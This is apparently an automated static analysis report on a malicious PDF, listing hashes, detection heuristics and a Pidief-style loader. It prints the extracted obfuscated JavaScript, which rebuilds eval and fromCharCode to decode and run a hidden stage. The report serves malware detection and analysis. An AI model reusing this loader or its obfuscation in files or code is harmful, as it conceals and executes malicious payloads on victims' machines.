Malicious PDF — malware analysis report

Static analysis result for SHA-256 2205dbfe54fdbbd6…

MALICIOUS

PDF

44.6 KB First seen: 2015-09-29
MD5: a228cc3db41c3b2a6ad5db5dc97ca6a0 SHA-1: ebb169d9350cfdfda89740d0d30b922bc07b7aad SHA-256: 2205dbfe54fdbbd6bd0bd6baa51a70b2cbb3015bae897fde69877b68c5e303b7
86 Risk Score

Malware Insights

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. No specific IOCs were extracted, but the presence of JavaScript indicates a high likelihood of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFEC 446 bytes
SHA-256: 6bbc9a11c97b0046503807c4e9f7ba893ef5e778ba31460c8d7ae8f77c6e435d
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
yktkp='';
aid=('qwrwqr','tit');
e('vegx=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
wnu=e('String.fr'+vegx.substr(0,10));
dbko = e(vegx.substr(10)['replace'](/u/g,','));
e('k=dbko.length');
for (i = 0; i < k; i+=2) {
	sscn = dbko[i+1] + ('erybjkerl',dbko[i]);
	yktkp += wnu(sscn);
}
e(yktkp);

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